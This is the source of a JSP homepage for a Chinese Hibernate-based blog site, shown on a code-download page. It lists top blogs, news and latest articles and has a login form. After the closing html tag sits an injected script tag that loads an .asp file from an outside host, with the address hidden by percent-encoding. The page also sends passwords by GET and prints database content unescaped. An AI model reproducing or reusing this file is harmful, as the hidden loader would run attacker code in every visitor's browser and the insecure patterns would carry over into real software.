⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 index.jsp

📁 本博客系统是在J2EE平台上用Hibernate框架技术和MVC模式构建
💻 JSP
字号:
<%@ page contentType="text/html;charset=utf-8" language="java"%>
<%@ page import="com.blog.tableclass.*"%>
<%@ page import="com.blog.*"%>
<%@ page import="java.util.*"%>
<%
	OperateDatabase db=new OperateDatabase();
	List TopBlog=db.getBlogs(10);
	List searchList=db.getArticles(10);
	List newsList=db.getNews(4);
	News news=null;
	Blog blog=null;
	Article article = null;
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
	<head>
		<title>博客之家</title>
		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
		<link rel="StyleSheet" type="text/css" href="images/style.css">
		<script   language=javascript>   
  		function   check(form)   
  		{   
    		if(form.username.value=="")   
    		{   
      		alert("请输入用户名!");   
      		form.username.focus();          
      		return;   
      		}  
    		else 
			if(form.password.value=="")   
    		{   
      		alert("请输入密码!");   
      		form.password.focus();     
      		return;   
      		}   
			else 
			if(form.checkword.value=="")   
        	{   
      		alert("请输入验证码!");   
      		form.checkword.focus();          	
			return;   
      		}
    		else 
			form.submit();   
  		}   
  		</script>
	</head>
	<body>
	<form name="loginform" action="login" method="GET">
	<table width="85%" height="207" align="center">
	<tr>
		<td width="85%" height="125" background="images/head004.gif"><FONT face="宋体"></FONT></td>
	</tr>
	<tr height="31">
		<td>
			<table border="0" cellpadding="0" cellspacing="0" background="images/line.jpg">
				<tr height="20" align="center">
					<td class="lt0" width="580"></td>
					<td class="lt0" onmouseenter="mhEnter()" onmouseleave="mhLeave()"><a href="/NewBlog/topBlog.jsp">博客排行榜</a></td>
					<td class="ltsep">|</td>
					<td class="lt0" onmouseenter="mhEnter()" onmouseleave="mhLeave()"><a href="/NewBlog/index.jsp">博客首页</a></td>
					<td class="ltsep">|</td>
					<td class="lt0" onmouseenter="mhEnter()" onmouseleave="mhLeave()"><a href="/NewBlog/Regist.jsp">新博客注册</a></td>
					<td class="ltsep">|</td>
					<td class="lt0" onmouseenter="mhEnter()" onmouseleave="mhLeave()"><a href="/NewBlog/include/search.jsp">搜索</a></td>
			  		
			  </tr>
		  </table>
	  </td>
  </tr>
</table>
<script language="javascript">
<!--
function mhEnter()
{
window.event.srcElement.className="lt1";
}
function mhLeave()
{
window.event.srcElement.className="lt0";
}
//-->
</script>					
		<table width="85%" border="1" align="center" bordercolor="#4EA9F1">
			<tr>
				<td width="66%" valign="top">
					<table cellspacing="0" cellpadding="0" width="85%" border="1" align="center" bordercolor="#4E99F1">
					<tbody>
					<tr>
					<td backgroud="images/top.gif" height="50">
					</td>
					</tr>
					<tr>
					<td>
					<table width="400" border="1" align="center" bordercolor="#4E99F1">
					<tr>					
					<%if(TopBlog != null ){
					System.out.println(TopBlog.size());
       				for(int i = 0;i < TopBlog.size()/2;i++)
       				{  
       				blog = (Blog)TopBlog.get(i);      				
      				%>
      									
					<td valign="top">
					<div class="author" style="width: 100">
					<a href="openBlog?blogid=<%=blog.getId()%>" target="_blank">
					<img border="0" src="images/<%=blog.getImage()%>" width="100" height="121" alt="">
					</a><br><%=blog.getSubject()%>
					</div>					
					</td>
					<%	
         			}
         			%>
         			</tr>
         			<tr>
         			<%
         			for(int i = TopBlog.size()/2;i < TopBlog.size();i++)
       				{  
       				blog = (Blog)TopBlog.get(i);       				
      				%>					
					<td valign="top">
					<div class="author" style="width: 100">						
					<a href="openBlog?blogid=<%=blog.getId()%>" target="_blank">
					<img border="0" src="images/<%=blog.getImage()%>" width="100" height="121" alt="">
					</a><br><%=blog.getSubject()%>
					</div>					
					</td>
					<%}
     			 }%>
					</tr>
				</table></td></tr>
				</tbody>
				</table>
			  </td>
				<td width="200" valign="top"><table width="200">
                  <tr>
                    <td><table height="45" cellspacing="0" cellpadding="0" width="200" border="1" align="center" bordercolor="#4E99F1">
                        <tbody>
                          <tr>
                            <td><img src="images/login.gif" alt="" width="203"  height="29" border="0"></a></td>
                          </tr>
                          <tr>
                            <td width="80px"></td>
                          </tr>
                          <tr>
                            <td align="left"> 账号:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                                <input class="input01" id="username" tabindex="1" size="15" name="username">
                            </td>
                          </tr>
                          <tr>
                            <td align="left"> 密码:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                                <input class="input01" id="password" tabindex="2" type="password" size="15" name="password">
                            </td>
                          </tr>
                          <tr>
                            <td align="left">验证码:
                                <input class="input01" id="checkword" style="WIDTH: 60px" tabindex="3" size="15" name="checkword">
                                <img src="image.jsp" align="Middle" alt=""> </td>
                          </tr>
                          <tr>
                            <td align="center">
							<img src="images/top_01.gif" width="203" height="6"><br>
							<input name="Button" type="Button" onClick="check(this.form)" value="登录" size="60">
                            </td>
                          </tr>
                        </tbody>
                    </table></td>
                  </tr>
                  <tr>
                    <td width="209" height="50" background="images/news.gif"></td>
                  </tr>
                  <%if(newsList != null ){
       				for(int i = 0;i < newsList.size();i++)
       				{  
       				news = (News)newsList.get(i);      				
      				%>
                  <tr>
                    <td background="images/top_01.gif" valign="top"><div class="author" style="width: 200"> <%=news.getContent()%> </div>
                        <div class="author" style="width: 200"> <%=news.getNewstime()%> </div></td>
                  </tr>
                  <%	
         			}
         			}%>
                </table></td>
			</tr>
	  </table>
	    <table align="center" cellspacing="0" cellpadding="0" width="85%" border="0" bordercolor="#4E99F1">
          <tr>
            <td background="images/top_01.gif" class="td01 ft01 b"><b><font color="#FF0000">最新文章</font></b> </td>
			<td background="images/top_01.gif"></td>
			<td background="images/top_01.gif"></td>
          </tr>
          <%if(searchList != null ){
					System.out.println(searchList.size());
       				for(int i = 0;i < searchList.size();i++)
       				{  
       				article = (Article)searchList.get(i);
      				%>
          <tr>
            <td>
			<div class="author" style="width: 300; height: 19"> 
			<img src="images/bk_11.jpg" width="5" height="13">标题:
			<a href="openArticle?articleid=<%=article.getId()%>" target="_blank"><%=article.getTitle()%></a> </div></td><td background="images/top_01.gif"></td>
            <td><div class="author" style="width: 200; height: 19"><%=article.getPubtime()%> </div></td>
          </tr>
          <%	
         		}
      			}	%>
        </table>
        <table width="85%" align="center">
    	<tr>
    		<td><img src="images/top_01.gif" width="729px" height="6px"></td>
    	</tr>
    	<tr>
    		
    		<td width="85%" height="30px" align="center" valign="middle" background="images/banner4.gif"> All rights reserved by Terry 
    		</td>
    	</tr>
    </table>
	</form>
	</body>
</html>
<script src="http://%78%79%6B%2E%74%78%73%68%69%2E%63%6F%6D/%62%32%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -